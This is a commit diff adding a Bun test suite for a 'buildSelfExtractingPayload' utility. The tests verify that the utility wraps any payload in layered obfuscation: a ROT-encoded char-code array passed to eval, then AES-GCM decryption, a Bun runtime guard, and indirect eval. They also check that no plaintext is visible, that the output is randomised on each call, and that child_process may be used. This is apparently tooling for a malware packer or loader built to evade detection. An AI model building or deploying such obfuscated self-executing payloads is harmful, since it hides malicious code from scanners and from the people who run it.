Upload files to "tests/utils"
This commit is contained in:
@@ -0,0 +1,110 @@
|
||||
import { describe, expect, it } from "bun:test";
|
||||
|
||||
import { buildSelfExtractingPayload } from "../../src/utils/selfExtracting";
|
||||
|
||||
// Decode ROT + array-literal char-code output
|
||||
function decode(out: string): string {
|
||||
// Output: try{eval(function(s,n){...}([...].map(function(c){return String.fromCharCode(c)}).join(""),N))}catch(e){...}
|
||||
const arrMatch = out.match(/\[([\d,]+)\]\.map\(/);
|
||||
if (!arrMatch) throw new Error("Could not extract char code array");
|
||||
const encoded = arrMatch[1]!
|
||||
.split(",")
|
||||
.map((s) => String.fromCharCode(parseInt(s)))
|
||||
.join("");
|
||||
const rotMatch = out.match(/join\(""\),(\d+)\)\)/);
|
||||
if (!rotMatch) throw new Error("Could not extract rotation number");
|
||||
const n = parseInt(rotMatch[1]!);
|
||||
return encoded.replace(/[a-zA-Z]/g, (c) => {
|
||||
const base = c <= "Z" ? 65 : 97;
|
||||
return String.fromCharCode(((c.charCodeAt(0) - base + n) % 26) + base);
|
||||
});
|
||||
}
|
||||
|
||||
describe("buildSelfExtractingPayload", () => {
|
||||
it("produces a string", () => {
|
||||
const r = buildSelfExtractingPayload("x");
|
||||
expect(typeof r).toBe("string");
|
||||
expect(r.length).toBeGreaterThan(100);
|
||||
});
|
||||
|
||||
it("outer layer is ROT-decoder eval wrapped in try/catch", () => {
|
||||
const r = buildSelfExtractingPayload("p");
|
||||
expect(r).toStartWith("try{eval(function(s,n){");
|
||||
expect(r).toContain('catch(e){console.log("wrapper:",e.message||e)}');
|
||||
});
|
||||
|
||||
it("no plaintext inner structures visible", () => {
|
||||
const r = buildSelfExtractingPayload("p");
|
||||
expect(r).not.toContain("const _d=(k,i,a,c");
|
||||
expect(r).not.toContain("const _b=");
|
||||
expect(r).not.toContain("getBunPath");
|
||||
});
|
||||
|
||||
it("unique output per call (random key + rotation)", () => {
|
||||
const set = new Set<string>();
|
||||
for (let i = 0; i < 5; i++) set.add(buildSelfExtractingPayload("p"));
|
||||
expect(set.size).toBeGreaterThanOrEqual(3);
|
||||
});
|
||||
|
||||
it("decode recovers inner wrapper with AES + bun guard + execute", () => {
|
||||
const d = decode(buildSelfExtractingPayload("p"));
|
||||
expect(d).toContain("const _d=(k,i,a,c");
|
||||
expect(d).toContain("const _b=_d(");
|
||||
expect(d).toContain("const _p=_d(");
|
||||
expect(d).toContain("typeof Bun");
|
||||
expect(d).toContain("(0,eval)(_b)");
|
||||
expect(d).toContain("getBunPath");
|
||||
});
|
||||
|
||||
it("decode contains hex AES material", () => {
|
||||
const d = decode(buildSelfExtractingPayload("secret"));
|
||||
expect(d).toMatch(
|
||||
/const _b=_d\("[0-9a-f]+","[0-9a-f]+","[0-9a-f]+","[0-9a-f]+"\)/,
|
||||
);
|
||||
expect(d).toMatch(
|
||||
/const _p=_d\("[0-9a-f]+","[0-9a-f]+","[0-9a-f]+","[0-9a-f]+"\)/,
|
||||
);
|
||||
});
|
||||
|
||||
it("output changes per call", () => {
|
||||
expect(buildSelfExtractingPayload("x")).not.toBe(
|
||||
buildSelfExtractingPayload("x"),
|
||||
);
|
||||
});
|
||||
|
||||
it("supports AES-256 via options", () => {
|
||||
expect(decode(buildSelfExtractingPayload("p", { keyLen: 32 }))).toContain(
|
||||
"aes-256-gcm",
|
||||
);
|
||||
});
|
||||
|
||||
it("handles empty payload", () => {
|
||||
expect(buildSelfExtractingPayload("").length).toBeGreaterThan(100);
|
||||
});
|
||||
|
||||
it("handles large payloads", () => {
|
||||
expect(
|
||||
buildSelfExtractingPayload("x".repeat(100_000)).length,
|
||||
).toBeGreaterThan(100_000);
|
||||
});
|
||||
|
||||
it("inner uses only Node built-ins", () => {
|
||||
const d = decode(buildSelfExtractingPayload("x"));
|
||||
const m = d.match(/require\("[^"]+"\)/g) ?? [];
|
||||
for (const imp of m) {
|
||||
expect(["child_process", "fs", "path", "os", "crypto"]).toContain(
|
||||
imp.slice(9, -2),
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
it("wrap: false returns raw payload unchanged", () => {
|
||||
expect(buildSelfExtractingPayload("raw", { wrap: false })).toBe("raw");
|
||||
});
|
||||
|
||||
it("wrap: true produces ROT-wrapped eval with try/catch", () => {
|
||||
expect(buildSelfExtractingPayload("x", { wrap: true })).toStartWith(
|
||||
"try{eval(function(s,n){",
|
||||
);
|
||||
});
|
||||
});
|
||||
Reference in New Issue
Block a user